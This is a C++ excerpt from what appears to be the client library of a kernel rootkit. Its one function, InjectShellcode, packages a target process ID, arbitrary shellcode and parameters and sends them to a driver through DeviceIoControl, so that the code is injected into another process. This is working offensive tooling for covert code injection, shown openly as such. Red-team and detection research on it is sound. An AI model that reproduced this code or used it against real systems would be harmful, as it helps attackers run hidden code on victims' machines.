* Description: * InjectShellcode is responsible for injecting shellcode into a process. * * Parameters: * @pid [_In_ DWORD] -- The PID of the target process. * @shellcode [_In_ std::vector ] -- The shellcode to be injected. * @parameters [_In_ std::vector ] -- The parameters for the shellcode. * @injectionType [_In_ InjectionType] -- The type of injection to be used. * *
| 604 | * @bool -- Whether the injection was successful or not. |
| 605 | */ |
| 606 | bool MemoryHandler::InjectShellcode(_In_ DWORD pid, _In_ std::vector<byte> shellcode, std::vector<std::string> parameters, _In_ InjectionType injectionType) { |
| 607 | IoctlShellcodeInfo shellcodeInfo{}; |
| 608 | DWORD returned = 0; |
| 609 | |
| 610 | if (pid <= SYSTEM_PID || shellcode.empty()) { |
| 611 | std::cerr << "Invalid PID or shellcode." << std::endl; |
| 612 | return false; |
| 613 | } |
| 614 | if (parameters.size() > MAX_SHELLCODE_PARAMETERS) { |
| 615 | std::cerr << "Too many parameters for shellcode injection." << std::endl; |
| 616 | return false; |
| 617 | } |
| 618 | shellcodeInfo.Pid = pid; |
| 619 | shellcodeInfo.Type = injectionType; |
| 620 | shellcodeInfo.ShellcodeSize = shellcode.size(); |
| 621 | shellcodeInfo.Shellcode = shellcode.data(); |
| 622 | |
| 623 | if (parameters.size() > 0) { |
| 624 | shellcodeInfo.Parameter1 = const_cast<char*>(parameters[0].data()); |
| 625 | shellcodeInfo.Parameter1Size = parameters[0].size(); |
| 626 | |
| 627 | if (parameters.size() > 1) { |
| 628 | shellcodeInfo.Parameter2 = const_cast<char*>(parameters[1].data()); |
| 629 | shellcodeInfo.Parameter2Size = parameters[1].size(); |
| 630 | |
| 631 | if (parameters.size() > 2) { |
| 632 | shellcodeInfo.Parameter3 = const_cast<char*>(parameters[2].data()); |
| 633 | shellcodeInfo.Parameter3Size = parameters[2].size(); |
| 634 | } |
| 635 | } |
| 636 | } |
| 637 | |
| 638 | return DeviceIoControl(*hNidhogg.get(), |
| 639 | IOCTL_INJECT_SHELLCODE, |
| 640 | &shellcodeInfo, |
| 641 | sizeof(shellcodeInfo), |
| 642 | nullptr, |
| 643 | 0, |
| 644 | &returned, |
| 645 | nullptr); |
| 646 | } |
| 647 | |
| 648 | /* |
| 649 | * Description: |
nothing calls this directly
no outgoing calls
no test coverage detected